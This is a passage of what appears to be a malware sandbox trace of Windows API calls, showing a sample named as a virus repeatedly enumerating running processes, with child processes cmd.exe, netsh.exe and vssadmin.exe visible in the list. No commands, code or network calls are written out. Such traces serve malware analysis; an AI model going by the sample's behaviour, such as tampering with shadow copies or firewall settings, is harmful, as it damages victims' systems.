th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0235.098] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.098] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0235.099] CloseHandle (hObject=0x1ac) returned 1 [0235.099] Sleep (dwMilliseconds=0x1f4) [0235.600] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0235.603] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.603] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0235.604] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0235.604] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.604] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0235.605] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.605] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0235.606] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0235.606] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0235.606] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0235.607] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.607] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.607] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.608] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.608] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.608] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0235.608] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.609] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.609] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0235.609] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0235.610] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0235.610] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0235.610] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.611] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0235.611] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0235.611] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0235.612] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0235.612] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0235.612] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0235.613] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0235.613] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0235.613] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0235.614] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0235.614] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.614] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0235.615] CloseHandle (hObject=0x1b4) returned 1 [0235.615] Sleep (dwMilliseconds=0x1f4) [0236.163] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0236.165] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.165] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.166] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.166] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.166] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.167] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.167] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.167] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.168] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.168] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0236.168] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.169] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.169] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.169] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.170] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.170] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.170] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.171] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.171] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.171] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.172] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.172] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0236.172] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.173] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0236.173] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0236.173] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0236.174] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0236.174] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0236.174] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0236.175] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0236.175] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0236.175] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0236.176] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0236.176] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.176] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0236.177] CloseHandle (hObject=0x1b4) returned 1 [0236.177] Sleep (dwMilliseconds=0x1f4) [0236.677] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0236.678] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.679] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.679] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.679] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.680] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.680] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.680] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.681] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.681] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, 